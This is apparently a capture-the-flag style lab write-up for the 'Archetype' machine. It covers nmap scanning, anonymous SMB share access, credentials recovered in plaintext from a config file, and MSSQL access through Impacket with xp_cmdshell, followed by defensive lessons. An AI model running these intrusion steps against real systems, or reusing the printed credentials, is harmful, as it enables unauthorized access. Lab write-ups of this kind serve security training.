Reconnaissance

We start with a port scan using nmap:

nmap -sC -sV -oA nmap/archetype 10.10.10.27

The following services were identified:

SMB Enumeration

smbclient -L //10.10.10.27 -N

We found the backups share. Accessing it:

smbclient //10.10.10.27/backups -N

Downloaded prod.dtsConfig which contained credentials:

<UserID>ARCHETYPE\sql_svc</UserID>
<Password>M3g4c0rp123</Password>

MSSQL Exploitation

We use mssqlclient.py from Impacket to connect:

mssqlclient.py ARCHETYPE/sql_svc:[email protected] -windows-auth

We needed to enable xp_cmdshell for command execution.

Privilege Escalation

Checking the PowerShell history we found the administrator credentials in ConsoleHost_history.txt.

Lessons Learned

• Never store credentials in shared configuration files
• PowerShell history is a common attack vector
• SMB with null authentication is still common in internal environments